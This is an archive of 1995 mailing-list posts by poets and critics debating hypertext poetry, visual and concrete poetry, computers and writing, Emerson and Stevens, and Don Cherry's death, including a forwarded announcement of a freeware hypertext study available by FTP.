it would be interesting to extrapolate jed's logic to the hypercard stack, *celtic museum*... four-five years back, the latter was one of the more elegant applications around of hypertext technologies...

now: i understand that this excerpt is likely to be interpreted by some, extracted as it is, as yet another in a long line of critiques of hypermedia... i would only ask folks to understand that this is an excerpt, finally, taken from a dense, thorough, challenging book of over 600 pages, some 100 or so alone are devoted to appendices... and that the viewpoint jed ultimately affords readers (those who stick it out) is one with which all poets, in my humblest of opines, would do well to contend...

all best///

joe

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623. **Steven Howard Shoemaker**
Computers and Writing
Sat 28 Oct 1995

I'm jumping in blindly after being away from the list for a little while, but K. Sherwood's post about Barthes' computerphobia reminded me of a little "color" piece in the paper awhile back on the current state of the writing scene in Paris cafes--full of Parisian writer-types decrying the use of laptops in the cafes... So mebbe it's a French thang... (but then, there had to be enough laptops for them to start decrying...

Meanwhile, the cool java hut here in town (Higher Grounds) is about to open a new cafe and they're promising lots of electrical outlets so you can jack in while you're rushin' on your run...

steve

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624. **Steven Howard Shoemaker**
computers and writing
Sat 28 Oct 1995

well, i guess it was typewriterphobia Barthes had, not computerphobia-- didn't mean to jump over a whole stage of technology...

that reminds me of Hugh Kenner speaking at the Orono poetry conference a couple years ago--talking about how the first famous poem composed on a typewriter may have been Pound's...."The Return." Kenner didn't seem to get the joke, but all the poets laughed...

steve

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625. **Steven Howard Shoemaker**
Re: poetry w/ a tech slant: anthology
Sat 28 Oct 1995

all of the original Objectivists belong in the course--or at least that's what a good chunk of my diss. argues...

and why not make your own anthology for teaching purposes, using a photocopy service? i do it all the time (and it's all legal too, now, 'cause ever since Kinko's got sued these services pay royalties and include that cost in the price of the packet...

steve

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626. **Loss Glazier**

Where's the Hypertext in this Thread?

Sun 29 Oct 1995

The recent hypertext/writing discussion on the list has been one with misdirected salvos. It began as a conversation on computer-generated texts but ended up being about whether hypertext was a "new form" of writing. Then computers became tinkertoys along the way. (Though John Cayley did argue against this, that "they are what we make from them.") Also striking, Ken Sherwood's "calling various forms of cmputer-writing tinkertoy technologies is absolutely right" based on the fact that these technologies will become outmoded. The parallel by Charles Alexander of the book presentation of finely made books as against Ron's 'if it's good in hypertext would it be good on paper' also stand out. I think, first, that "tinkertoys" is a very bad word. There is absolutely no parallel with a "toy" because what we are "playing with" not only has its origins in the bomb, but is redefining commodity in our commodity culture. It's a social fact. It's not a toy because, in the way that when the book was invented the first thing to be published were laws and doctrines, the commodities of those days, the book, hypertext, and computer-generation of text technologies are NOT being invented for literature. When they say "the late age of print" they are correct. Maybe it's not a factor in poetry production as much but in terms of Boeing manuals, (increasingly) government publications, bibliographic databases, etc., it IS a late age of print (and thankfully so: those trees weren't very well used for these other purposes). As to whether computers or computer-generation programs are tinkertoys because they will become outmoded, I can only think of automobiles. Many years ago I gave up a short-lived but valiant effort to maintain my own vehicle. The main thought I ended up with was why there were so many different parts for so many brands of cars and that they were all different and all went in different places in the car. It just didn't make sense. So likewise we will go through Windows 95, 96, 97, 98, 99, and on I presume. And nothing will ever fit. (Who brought up CP/M? Was it Ron? Someone I'm sure is collecting Edsel parts, right?) Yes that's also why (I think John mentioned this?) HTML and SGML are breakthroughs--they are generic, common forms of text. But of course, despite the fact that some autos even have rear doors that fly off to considerable ill effect, they continue. So I suppose that, if for the mainstream cycle of production and consumption in the U.S., computers, like autos, have their place, they too will continue. I wish there could be a clear focus on which aspect of the subject we are talking about. Having a blurred line about the word "tinkertoy" for example, and whether it's about hypertext or computer-generation programs is like having a blurred line about the word "sonnet" and whether it's about Ted Berrigan or

Henry Howard, Earl of Surrey. Is hypertext a technology that parallels the discovery of the book? Obviously not. They are not parallel technologies. The parallel is electronic textualities, which include distributed networks, connections to remote databases, electronic information delivery systems, such as the one we speak on. Now there's an argument here that reading may be changing. As to would hypertext be the same in print. Two answers: first, if we understand that it would only be ONE sequence of choices, one path that was "frozen" on paper, then yes, it should hold up on paper. Second, as a question to illustrate the question, would this discussion on the list hold up on paper? (My answer is it would not be interesting without considerable editing! Though it's perfectly fine in its present medium.) Ron's proposition does point to one very real fact: most hypertextual writing is awful! Of course most writing in general is awful. (eg., been to a drug store or airport lately ...) Though I do enjoy a good Boeing manual with a 1986 Pouilly Fuisse...

Perhaps the question is: are we are actually _reading_ hypertext instead of wondering if it will work in a previous medium? Maybe what's lacking is a serious reading of the work of (who would we suggest?--now THIS is the interesting part!) Jim Rosenberg, John Cayley, and who else? (I'd add my own __E__, soon to be issued in RIF/T and available, in a special preview-for-members-of-this- conversation version, through my author page in the EPC.) What about some kind of short reading list here? (No Chris, don't worry. I mean like--five items? The problem is that so many hypertext investigate such different terrain. So maybe it's not a matter of the medium as much as the terrain! (I mean, if a hypertext were about John Ashbery or Susan Howe or Lyn Hejinian, would it matter if it was a hypertext???)) So much hypertext tends to be ethereal, engaged with the multiplicities of its technology and not grounded in language as its own act. I really think about Charles Alexander's comment here. The image of Chax's printing of Bernstein's "Four Poems" is strong in my mind. I mean these four pieces, in the Chax edition, are simply not the same as when transposed to a collection. Not that they aren't "real" in the collection. I love 'em. But thank you Charles, for the "reading" you gave me; it will always be alive at the ends of my fingers and the way I had to unfold the overleaf to get at the goodies inside...

Entered according to Act of Congress AD 1995, etc...
Loss

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627. **Tenney Nathanson**
dunno but
Sun 29 Oct 1995

> *Date: Sat, 28 Oct 1995 10:05:28 -0400*
> *From: Chris Stroffolino <[redacted]>*
> *Subject: Re: & Ralph Waldo*
>
> *(continued from last note--which ended with FOR WHAT?)*
> *or FOR WHOM? cs*

Chris--

Certainly the good doctor bad insurance claims investigator (does anybody out there remember Johnny Dollar on Saturday afternoon radio?!?) is just silly. I didn't say that though perhaps (?) Jonathan did.

I also think it's been shown (by Brook Thomas and Neil Schmitz and others) that Walter Michaels is largely a perpetual motion machine driven by tautology (all literature participates in its culture loop loop loop) but it's still potentially interesting (to me, anyway) to note, sometimes w a shock of surprise, how "insurgent" work is often most oddly embroiled in the social structures it's aggressively rejecting just where it's most exciting. And I'm persuaded by Bloom, and then in a different way by William James, that Emerson is already busy doing a lot of what's most exciting--poetically, intellectually--in Stevens' poetry, and that the prodigious scholar in Stevens is an exciting trope and not just a fussy one. And in Emerson, the formulation of a vision of imaginative power that powers a lot of American poetry--up through Pound and Fenollosa and then wherever you imagine that lineage to have fructified, to gesture at just one thread out of many--is part of an argument, early on, in great essays like "The American Scholar," that's agitatedly anti-capitalist. But if it turns out that just where Emerson is opposing the powers of the thinker or the poet to the ways and means of the emerging economy, and just where he's saying the things that will be so productive for future poetries, he's describing what, with a small twist, would be just the thing he's opposing--well, that seems like a good place to focus attention, though stopping with the assertion that all supposed opposition is just a genteel tradition of liberal handwringing that does no more than replicate what it bemoans is a sad place to stop. Since I don't WORK on Emerson, I mean I'm not gonna write on him, I'm not sure of just where I'd want to go in this instance. Quentin Anderson's analysis in /Making Americans/ is one promising avenue, though his Rx is too tied up in reveries of the heyday of the New York Intellectuals to be very convincing.

Perelman is an interesting figure to bring up, I think (as Chris did) right next to Stevens, since so much of a book like /Captive Audience/ takes something like the inguistic leverage Cavell talks about Thoreau deploying (in the early parts

of /The Senses of Walden/) and shortens the length of the lever. That is, the space between current usage and the critical resonance Bob lets us hear in "our" words is almost non-existent, but not quite. This might be mapped onto the conclusion of the Jameson /Pomo/ book. (btw, that Charles B should so often deploy Cavell's "our" without quotation marks is, to me, an odd and interesting, and troubling, move.)

Chris: since you mention the sort of conjuncture I brought up as akin to the solipsism of a purely aestheticizing discourse: what's, for you, a happy counter-instance? What would be both more productive, and less solipsistic, to say about Stevens, or Perelman?

best,

Tenney

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628. Jerry Rothenberg
Re: Hypertext & Poetry Possibilities
Sun 29 Oct 1995

Concerning Jim Rosenberg's digression regarding concrete poets & Black Mountain poets, etc., let me just say that it doesn't correspond at all to my memory of all of that. What I recall is a relative indifference back & forth, with as much occasional hostility on one side as on the other & several notable crossovers. Remember too that most of the active concrete poets -- at the height of that "movement" -- were European and Latin American, therefore at a considerable remove from the activities of the New American Poetry. In all of my contacts there -- which were extensive -- I didn't pick up anything of that sort and was much more aware of a kind of Black Mountain dismissal of the concrete people as superficial or gimmicky or whatever. The great crossover figure for me was Mac Low but there were others of us too who found the presence of both of these forces (along with several more) a matter of the greatest excitement in the 1960s and 70s. My initial take on Language Poetry was that it overplayed its connections to the New American poetry & seemed oblivious to the experiments of concrete and textsound poets & the promise offered by those. Tht changed over the years & all for the better, I think, but the culpability of the Concrete Poets as such seems much too on-sided a view of the matter.

Otherwise, by the way, I think that Rosenberg's discussion of the hypertext possibilities, etc. is exciting & (for me at least) enlightening. How it might be presented in a book as a part of the active poetic present (a similar problem comes up with sound poetry like, e.g., Chopin's poesie sonore) is something I'd

like to see solved (if that's the right word) in terms of the big-book project Joris and I are currently engaged with.

Jerome Rothenberg
[redacted]

ps. You might note -- if it's an indication of anything -- that in Donald Allen's updated New American Poetry (with its strong Black Mountain emphasis) there was not a retrospective sign of anything vaguely approaching concrete or visual or textsound poetry (among other omissions) -- which looks to me like at least a mutual indifference. But obviously concrete never took hold in North America and if you narrow the field of poetry to the U.S.A. alone, you're already eliminating (with a very few exceptions) the genuine innovators & developers of all of that. Anyway ...

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629. Graham John Sharpe
The Electronic Labyrinth (fwd)
Sun 29 Oct 1995

---

i thot this might be of interest to those who are currently following the hypertext and poetry possibilities disscussion. i have not been following it thoroughly - so my appologies if this has already been mentioned.

graham
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> ----------
>
> * * * * ANNOUNCEMENT * * * *
>
>
> _The Electronic Labyrinth_, a book-length study of hypertext fiction
> and software, is now available on the Internet as freeware.
>
> _The Electronic Labyrinth_ provides a critically-informed introduction
> to the field of hypertext, with a special emphasis on its potential
> for use by authors and other creative artists. It provides a history
> of the development of the form, discussions of key terms and concepts,
> and reviews of many PC and Macintosh-based authoring systems. The
> emergence of hypertext is placed in the context of the literary
> tradition of non-linear approaches to narrative, such as those
> employed by Cortazar, Nabokov, Borges and Pavic. Special attention is
> paid to works created specifically for computerized hypertext,
> including Michael Joyce's _Afternoon, A Story_, John McDaid's _Uncle

> Buddy's Phantom Funhouse_, and Stuart Moulthrop's _Dreamtime_.
>
> _The Electronic Labyrinth_ can be obtained using FTP (File Transfer
> Protocol). The site address is: QSILVER.QUEENSU.CA. Login as
ANONYMOUS
> and provide your email address when you are prompted for a password.
> Once logged on, change to the directory containing _The Electronic
> Labyrinth_ by typing:
>
> cd /pub/english/hypertext
>
> If you are running Microsoft Windows 3.1 or 3.11, then download the
> WinHelp version (LAB_WIN.ZIP). This is the preferred format, since it
> is the only one which preserves the hypertext structure of the
> document. Otherwise, retrieve either the Rich Text Format file
> (LAB_RTF.ZIP) which retains the formatting of the text, or the ASCII
> format file (LAB_ASC.ZIP) which does not. Finally, if you are unable
> to unarchive a ZIP file, retrieve LAB_ASC.TXT, which is a plain text
> file.
>
> For more information on installing _The Electronic Labyrinth_,
> retrieve the REAME.TXT file with the command:
>
> GET README.TXT
>
> If you encounter problems, please send email to:
> [redacted]
>
>
>
> Christopher Keep
> Tim McLaughlin
> robin
> October 1995
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630. Kenneth Sherwood
hypertext--media--baseballs
Sun 29 Oct 1995

Looking for Homer's baseball? I may want to retract this before it bounces back on tomorrow morning's digest--but there is no baseball in Homer; his persistance needs to be accounted for either by the new equiptment accorded him in, say, Fitzgerald's translation... or a cultural investment of 'believing in Homer's great baseball.'

Why is this anti-sports tone necessary? It seems that as soon as we start talking about a 'value' or 'quality' to a given poetry which escapes the ravages of time or the transformations of its media, we've dematerialized it completely.

Put pragmatically--what do we get by talking about the poem apart from its versions: manuscript, drafts, first magazine publication, small-press book version, electronic reprint, etc.?

Let's be blunt and/or reductive.

You can't have your baseball and eat it too! Either 'good poetry is platform independent' (baseball view) or 'there is no such thing as the words themselves' (Charles A.)

The other problem I sense in talking about the somehow pure poetry that 'comes through' *despite*... is that it seems necessarily bound up with the recriminant notion that those poetries which haven't made-the-cut must have lacked the 'pure poetry' that would have shined through.

ks

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631. Charles Alexander
visual poets
Sun 29 Oct 1995

Jim Rosenberg's comments on the inflexibility of concrete poets, and that such inflexibility and intolerance set the art of poetry back 20 years, just seems wrong to me. Admittedly I was not terribly aware of visual poetry or other innovative poetries until the mid-1970's, but from what I know it seems that there was at least as much intolerance toward visual poetry as there was intolerance coming from visual poetry. And when I think of poets like Karl Young, bpNichol, Jackson Mac Low, Karl Kempton, Jonathan Brannen, and others, I don't see much intolerance at all; rather, I see poets practicing visual poetry among various strategies to expand the whole art. I think if we ignore

the visual poetry of these and others, we miss an important part of late 20th Century poetry.

For a different view, a belief that poets engaged in various schools did NOT set back the art 20 years, rather helped it continue forward, I quote from Karl Young's essay, "Notation and the Art of Reading," in Open Letter vol. 5, no. 7, from the late 1970's, which will be part of his forthcoming book of collected essays, Only As Painted Images Have We Come To Be In This Place, which Chax Press will publish in 1996.

"At present there are at least twenty major schools of poetry functioning in North America, each with dozens of subgenres. No group dominates, so poets at the present time enjoy more freedom than they ever have in the past. Members of some schools can be dogmatic and exclusionist, and members of one clique can become extremely bellicose toward another coterie, but few, if any, can limit their interests and contacts to members of their own groups. Hence poets belonging to one clan can be influenced by members of another -- in fact, many poets switch allegiances during their careers, and many function in several schools at once. The cross-fertilization among these groups produces all sorts of hybrids, sometimes showing a great deal of what biologists call hybrid vigor. We should note that what poets work against is often as important as what they work with, and even antagonisms can be productive. As well as producing hybrid vigor, interaction among schools seems always to exert an influence on notation, keeping it from becoming rigid or consistent, and opening up new possibilities."

While I admire the leaps into new worlds of visual possibilities of Jim Rosenberg's work, I don't think it needs to come with a putdown of earlier visual poetry, which, I think, has helped us rather than hindered us.

charles alexander

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632. **Joe Amato**

Re: Hypertext & Poetry Possibilities

Sun 29 Oct 1995

---

jerry, first off let me say (which i've posted backchannel to pierre) that your and pierre's newly released anthology is an incredible achievement... what i find intriguing is that you've managed in many ways to offer an example of how to constructively alter the activity of anthologizing *even as* jed's book emerges, a book that critiques past such efforts... striking synchronicity here, methinks...

anyway, to cut to the chase: i don't see how you'll manage a compilation of electronic text in other than electronic form, just don't see it... seems to me that

there is surely a similar problem in translating various print objects of art into a simpler, paper-bound medium... but the electronic distinction is complicated not only by some fundamental changes in reading e/affects (depending in part on one's, uhm, sensitivities), but by, for example, the various platforms for which the text in question has been designed/initially composed... to wit: is reading the windows version of _afternoon_ equivalent to reading the mac version?... is there any subtle (or significant) difference here intrinsic to platform/front end, or is this difference more constructively pursued as a function of differences twixt mac/windows users/readers, which latter would imply perhaps a slightly altered theory of reception?...

we tend not to talk about how we thumb through a given print manuscript (if indeed we thumb through it!) but hitting the keyboard and clicking a mouse are different activities (different from each other, that is), and electronic texts can foreground this difference, too...

some tough conundrums here, and i'm sure i'm overlooking lots... but i'd stick at least with the assertion that an anthology of (electronic!) hypertext must be electronic...

joe

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633. **Aldon L. Nielsen**
Re: the shape of jazz to come/gone
Sun 29 Oct 1995

according to L.A. Times, Don Cherry died at age 58 a few days ago -- Anybody who saw him perform recently (the only trumpet player i know of in jazz to play from a lotus position!) knows how energetic and inventive Cherry continued to be in the years after departing from the Ornette Coleman band -- Once read poems with him at D.C. space between his sets at the piano and trumpet -- a beautiful musician and a great friend to all who knew him --

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634. **Aldon L. Nielsen**
Re: confessional averse
Sun 29 Oct 1995

since Ron has now busted on me in public I may as well fess up -- I was off the list from time to time lately 'cause I was playing in the series -- Frustrated at my inability to break into the big leagues of poetry book publishing, I've been moonlighting under a pseudonym for a ball team -- The team at first seemed much more open to new talent than the world of poetry, but now they've asked

me to compose a "rap" for the team video -- guess that was all they wanted me for all along --

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635. **kathryne lindberg**
Re: the shape of jazz to come/gone
Sun 29 Oct 1995

---

re: Don Cherry's death. Sacrilege no doubt on the day after the conclusion of the World Series; preface too to a Stormy Monday after this first day of Day Light Savings, but. . . Cherry died of liver cancer, one might say of not having access to the repacement parts available to the Mick.

Don Cherry, Ornette Coleman, Ed Blackwell, Charlie Hayden are still on recordings and YET to be appreciated. The character of that "yet" is manifold--prospective but not Emersonian.

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636. **Chris Stroffolino**
Re: the shape of jazz to come/gone
Sun 29 Oct 1995

Right On, Aldon!--Never saw him live unfortunately, but was hoping too--Currently have his "Until the rain comes" on my answering machine message, chris s.

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637. **Tom Beard**
Re: Where's the Hypertext in this Thread?
Sun 29 Oct 1995

Loss gave an interesting summary of the hypertext (ht) poetry thread. I like the healthy skepticism that he displays - "most hypertext writing is awful!" - and much of the most interesting writings on ht writing that I've seen on the web (such as the "Search for some ht literature" (I've forgotten the author & URL) and the article in FEED at http://www.emedia.net/feed/) has also been skeptical. I know that I came towards ht with great enthusiasm, and I'm glad that that has become tempered with some realism. Since then, I've written a poem that _demanded_ a hypertext presentation, but I always make sure tham I'm not writing (hype)rtext for its own sake.

The poem of mine that Eryque mentioned (thanks Eryque!) was originally written on paper, but the structure became three dimensional and it was soon evident that any paper version would "flatten" the poem and privilege certain

directions of reading over others. As it appears on the web (at http://metcon.met.co.nz/nwfc/beard/www/notes27.html) each lexia/section/poemlet allows the reader to move in one of six different directions, corresponding to the six faces of a cube. My intention was for readers to construct their own readings by reading/slicing/browsing/surfing through this 3D poem, and that they should email me their readings to me so that I could include them on my web pages along with the poem. This will-to-interaction faltered, however, since no-one has sent me a reading yet.

The point of this is that this was a poem that did not work on paper, but did in ht. Maybe I could have constructed something out of perpex or transparent paper, but I have no space in which to exhibit such a work, and besides, I'm happier writing HTML than doing manual labour. Perhaps there are some interesting uses for ht-like structures in conceptual art or sculpture - I dream of a vast, Hampton Court-style maze, with words embedded within the living walls. It would be fascinating to track the paths that visitors/readers take through this maze - perhaps the young would end up in a different part of the maze to the old; or males and females would tend to take different tracks; or those who have witnessed a parent die head straight towards the centre, while people for whom English is a second language find the exit with great rapidity, and those in unrequited love mill round and around in slowly- diminishing circles.

Going back to why I agree with Loss over most ht-lit being awful, I must qualify this by saying that I've only really read text-only works on the web: I haven't tried anything based in Hypercard, and most of the interesting work by people like Jim Rosenberg & Eduardo Kac won't talk to my little VT-320. Also, until recently most ht-lit on the web was by people who were programmers first and writers second, and this showed. I have no doubt, however, that ht shows _great_ potential for experimental multi-linear narratives. I'm not sure whether poetry will have as great a potential for ht experimentation, for reasons that I will try to explain.

For a start, most contemporary poetry has no narrative, or at least not in the linear sense of conventional fiction, so there is no expectation of story-line to be subverted. There are exceptions, such as epic poetry or stories in verse, but in language-centred writing as well as in much lyric poetry, we cannot allow the reader to choose "what happens next", since there is no "next".

We could write poems in which words are highlighted, and clicking these words will take us to different parts of the poem. This is "associative" ht, as opposed to "plot-based" ht, and it is an interesting possibility. But this is how I tend to read most poetry anyway, and I've argued (http://metcon.met.co.nz/nwfc/beard/www/sargeson_ladder.html) that _all_ text

can be read as hypertext in this sense. Even a relatively conventional text can be read in this way, with words sending the mind racing down links of meaning and sound, both within the poem and with "pointers" to other texts. This is truly non-linear reading, as opposed to the "multilinear" reading that someone so rightly pointed out was the true characteristic of ht. At least with HTML- style ht, a reader follows one link at a time, whereas reading a poem on the page can generate a ghostly web of links, existing simultaneously and at different levels of consciousness, across the poem. It sounds like Jim R's approach, with superimposed words, may be an incarnation of this idea, and I wish I had the hardware to view it.

Perhaps the most promising creative uses of hypertext will not be in poetry, or fiction, or criticism; but in modes that have not previously existed. Some of my favourite web examples of this are OutThere(TM) at http://www.umich.edu/~rmutt/OT/ (a hypertext non-glossary of Dada, Surrealism etc; a satirical "Form without Function"; and the homepages of Procrustus Corp, "brokers of fine intellectual property", sprinkled with extensions to HTML such as <TASTEFUL> and <HYPNOTIZE>), The E-Ville Dialogs at http://www.itp.tsoa.nyu.edu/~shana/Dialogues/contents.html (the reader eavesdrops on philosphical discussions among the diners at a Greenaway-esque restaurant, trying to talk to the Head Chef, Heraclitus - the overall feel is somwhere between Kafka and _The Prisoner_) and the Giovanni Bottesini project at http://www.webcom.com/~redwards/gbmain.html (a mock-historical archive which makes fine use of layered possibilities - Bottesini has 7 reported dying sayings, each of which leads the reader on a different track - and reminds me of Umberto Eco with its conspiracy theories and pseudo-scholarship).

Hypertext could also allow for some new forms of critique, with a critic adding links to a work to make explicit some linkages that were hidden in a linear text, or creating a hyper-detournement by weaving ht-links between several diverse texts. It also gives the editors of electronic journals the opportunity to add both internal and external links to their publications, thereby expanding the works. Of course, the individual authors should have some veto on this - I wouldn't like my poems to sprout blue underlined links without my approval - but there's merit in having a poem that quotes John Cage and alludes to _The Piano_ accompanied by a subtle selection of links to a John Cage home page and the Internet Movie Archive's entry on _The Piano_. The Web itself is the greatest hypertext poem yet written.

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place.

| [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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638. **Kenneth Sherwood**
return to the tinkering
Sun 29 Oct 1995

Loss' post calls for a thorough response; I'm afraid I'll just tinker away at it. Fact of the Net's dark origins granted--this may be all the more reason to invoke the playful, insisting that we do toy around, and that toying is meaningful.

Which reminds me of the discussions on 'experimental' some months ago. I find a value in insisting that one 'toys' around or 'experiments' because I don't look for poems that act as proof-texts of some prior seriousness--itself potentially dangerous, no?

On a different note, it does seem that one of the elements absent from the hypertext wing of this discussion is the way that, online atleast, it involves more than non-linear or interactive writing. These are (as someone, Tom Beard?) mentioned, attributes of particular interest to writers of narrative.

Increasingly I grow interested in using the multi-media aspect of electronic writing. The ability to create and distribute visual and sound poetry, 'intermedia' (in Dick Higgins' term) compells my recent writing more than those formal features most typically associated with hypertext.

In this sense, I'd want not only to blur the boundary between computer generated writing and hypertext (non-sequential writing) but also that between writer and programmer. The word has had little time encrust itself with romantic resonance, but 'programmer' might be another word for the work Charles Alexander and others do with the letter press book!

Ken S.

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639. **Mark Wallace**
Ira Lightman
Mon 30 Oct 1995

Ira Lightman has an interesting essay in Texture #6. But Ira, I'll be damned if I can tell in the essay exactly what book it is you are critiquing. If you're on the

list, can you please help me and other readers out. It may just be my oversight...

mark wallace

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640. Mark Wallace
Jordan Davis
Mon 30 Oct 1995

Jordan Davis--will you please contact me backchannel? I now have three e-mail addresses for you, and no clue which is the correct one.

mark wallace

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641. H. T. KIRBY-SMITH
Visual Poetry
Mon 30 Oct 1995

Visual poetry goes way back--to Alexandria in ancient times, and poets such as Simias who did shaped poems. Then with printing in the Renaissance the typographical arrangement could involve all sorts of degrees of originality. I think the early-twentieth-century emphasis (in the poetry of H. D. and Pound, the criticism of Hulme, poetry of Williams, cummings, etc) was in part a reaction against those late-nineteenth-century volumes jammed margin to margin with Idyls of the King or dramatic monologues.

May Swenson is certainly the best visual poet of the second half of this century--because her poems are also auditory, and because the visual effect is arranged rather than deranged.

Visual poetry seems to coincide with other kinds of revolution or experimentation--and is scorned by prosodic conservatives, who become uncomfortable in their scorn when reminded of George Herbert.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

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642. **Joe Amato**
Re: Where's the Hypertext in this Thread?
Mon 30 Oct 1995

---

a friendly addendum to tom beard's fine post:

tom, i would only say, as i've been saying for a good while now, that the fact that hypertext doesn't violate the episodic, linear structure of narrative when it comes to much contemporary poetry is *precisely* the reason i find it of great significance to what poets can do with same (and, as in the case of a few folks on this list, *are* doing)... perhaps one loses the sort of inherent contrapuntal texture that transgression of narrative-episodic form provides, but what takes its place, depending on what's actually writ(-composed), is the possibility of rather startling associative leaps unencumbered by 'plot' as such... (my own preference is in fact for an anti/metaphysics of place, but this is a whole 'nother matter)...

in general, i think the concept of hybridity (informed perhaps by recent a-a and postcolonial critical work on same) is a useful way to begin to rethink the sorts of aesthetic experiences you suggest in various of the web sites you mention (and thanks for that list, too!)...

all best//

joe

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643. **John Cayley**
Re: Hypertext & Poetry & Tinkertools & Baseball
Mon 30 Oct 1995

[I meant to make these short, oh well...]

Ken Sherwood:

> *Calling various forms of computer-writing tinkertoy technology is absolutely right, since these forms WILL become outmoded because of the role this tech plays apart from poetry. The "BOOK", itself a technology which has changed (hand scripted to letterpress to desktop lazerjet) does not tend to outmode itself.*

Nope, /pace/ all the well-meaning and light-hearted suggestions that it's good for us to 'go back to' using toys for a while to regain some sort of 'primitive' or 'childlike' naivety in relation to our art (I love to play, although *not* with computers), I just can't let 'tinkertoy' slip through as potentially useful characterization of 'programmed machines as presentors/generators of (some) poetic writing'.

Especially, not for the reason that what we use now will (inevitably) be outmoded tomorrow. The technology of the book has evolved, and *many* book technologies have been outmoded. The Chinese classics were written on (amongst other things) strips of bamboo bound together with string (producing, btw, some interesting quasi-aleatory ethical philosophy when early editions were dug up with the strings rotted away), they were also carved on stones (some argue this was *after* the aforementioned quais-alearoy transformations) which still stand in a 'forest of Stones' in Xi'an -- multilithic, difficult to use, but not outmoded (you can still take rubbings).

But enough of this playing around, the reason the question of obsolescence is obsolete is because of the computer-based medium we're using now. It's a mistake to consider 'some one type of computer running some one piece of software' as a soon-to-be-abandoned toy, because now all of these systems are linking themselves together and it won't be long before most (local) computer-based activity is transparent to the network, regardless of platform/software etc.

My conclusion: nothing of significance (I mean the stinging together of beautiful/good language, the design and creation of new cyber/hypertextal forms and systems of text regeneration) that you are doing now with your computer will be 'outmoded'. You will, sooner rather than later, be able to make it accessible to others.

Jim Rosenberg:

> *There's one thing that has to be said here and SAID LOUDLY: I hope no one comes away from this discussion thinking that those of us doing experiments with various computer media are trying to hype these media as in any way "superior" to the traditional ones.*

I wanted to concur whole-heartedly these remarks of Jim's.

Jim Rosenberg:

> *How does one *program* time? There are some very difficult questions here. (I hope John will jump in on this, since he's done the most interesting work I've seen with programming time in computer poetry.) One thing I like to say to myself all the time is that:*
>
> *Syllable Time is not equal to Real Time*

Programming time: What it seems to me that a poet/+programmer *can* do is allow a reader to experience a poet's syllable time. Perhaps this also happens when you simply listen to a recording of a poet performing her work. But I've

always be particularly interested in silent reading, and the screen, potentially, allows us to experience a rendition of a 'scored' syllable time in the silent reading of a poem.

That said, I mentioned before that I had written a HyperCard stack that allows you to 'score' poems in this way. Jim wrote about his 'tape loop' experiment and his surprise at the illusion of simultaneity that the dominance of stress over musical attack produced. In trying to make the 'scoring' stack I was (and still am) amazed at the fine control required to 'score' words and phrases in a manner that matches my inner ear. HyperCard (with my current hardware) really isn't up to it. (Ah ha! they all cry -- a tinkertool...) E.g. I make words appear letter by letter (as if scrolling rightwards) and allow the speed at which this is done to be adjusted. But to represent stress properly, you would probably have to have variable speeds of letter display *within* the presentation of single words (v. difficult and v. time consuming -- but I'll work on it). However, such super-sensitivity apart, if you got the time/pause relationships right (over one screen's worth of text) then the fragment suddenly seems to click, to work for the inner ear -- ?? like Jim's tape loop phenomenon.

[Programming an other time: _The Speaking Clock_ addresses the question of names for time; the suggestion that a clock should give a different name to every moment, since every moment of *real* time is different.]

Ken Sherwood:

> *You can't have your baseball and eat it too! Either 'good poetry is platform independent' (baseball view) or 'there is no such thing as the words themselves' (Charles A.)*
>
> *The other problem I sense in talking about the somehow pure poetry that 'comes through' *despite*... is that it seems necessarily bound up with the recriminant notion that those poetries which haven't made-the-cut must have lacked the 'pure poetry' that would have shined through.*

I really enjoyed and went with this post, but ...

I think you *can* have and eat your baseball.* I've heard, from colleagues who've been there, that you can buy live baseballs in certain markets in south China and that there are no local taboos against killing and eating them. So, if we can translate Homer into Chinese, we should be able have, hold and eat our baseballs in cyberspace. (Also, isn't there a very good Japanese pitcher doing well in the major leagues? With a really extraordinary action?? Pl. excuse UKanian ignorance.)

best, John

* Cf. the unceasing discussions of the problem of translation.

- - - - - -
John Cayley Wellsweep Press [in Chinese HZ:]
^ fine, innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
1995 URLs: http://www.inforamp.net/~cayley [= home]
+ /wshome.html [= Wellsweep]
+ /inhome.html [= Indra's Net]
- - - - - -

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644. **Joe Amato**
Re: Hypertext & Poetry & Tinkertools & Baseball
Mon 30 Oct 1995

---

well i'm just really mouthy lately, is all...

john's _the speaking clock_ is (again my spockish declaration of late) fascinating... one of the beauties of this medium is that john was able to email me his work, from london, within twenty-four hours of my request... and i had it up and running in about two minutes...

mind you, he won't receive my check for mebbe five-seven days, airmail...

(it's on its way, john, thanks again! (((does this guy have faith in me, or what?...

anyway:

i think this discussion of ht and electronic form suggests, not so surprisingly, a conjuncture (a helpful one) in the arts: that moment when art---understood by its various communities in terms of its various practices---finds itself once again (a historical assertion) implicated in its various technologies AS SUCH... and with a bit of luck, i hope, technology begins itself to show signs of this, uhm, interfacing...

hence we're at the intersection of multiple discourses... hence i want to introduce the term 'instrumentalist' here (in line with certain theorists of technology) to indicate that a view toward technology as a tool, as something we have control over, is generally used to argue in fact that technology only reinforces dominant, status quo realities... b/c in this view, technology is a tool (as my students here at the technical institute tend always to gloss it) "nothing more and nothing less"... hence the question posed by audre lorde, to wit, how

to use the 'master's tools' to rebuild the 'master's house,' becomes a difficult question indeed...

there are other ways of thinking about tools (where's don byrd?), but what i offer in this latter is the more restrictive sense of the word...

now among the various other views of technology, there is the view afforded by folks like (and for) foucault (say that five times quickly) that technology is in fact NOT a tool... that it is a far more epistemic construct, and that we don't exactly 'use' it to produce a desired end product... we don't, that is, 'control' it---in fact quite the opposite... hence we end up with the more dire discourses on technology, and the the more luddite responses to same...

in these views, as i've articulated them, the possibility of bringing about constructive change through technological practice is complicated by either (1) difficulty in transcending the after-the-significant-fact, make it OLD/'fix it' role assigned to tools or (2) inability to control a totalizing (not to say totalitarian) set of practices marked by their self-replication in capitalist commodity culture...

i'm pointing to these two views of technology to suggest a third view (and fourth, etc): that if techology is from one pov a tool (yes, it can pretty much reduce to this, depending on how one construes context) and if technology is from another pov a set of cultural practices (yes, it can be this in macro terms, depending again on on how one construes context), then methinks there is certainly room in this continuum to consider ALL technologies both as things AND as (social) events (maria damon may want to jump in here with her notion of the 'margin')...

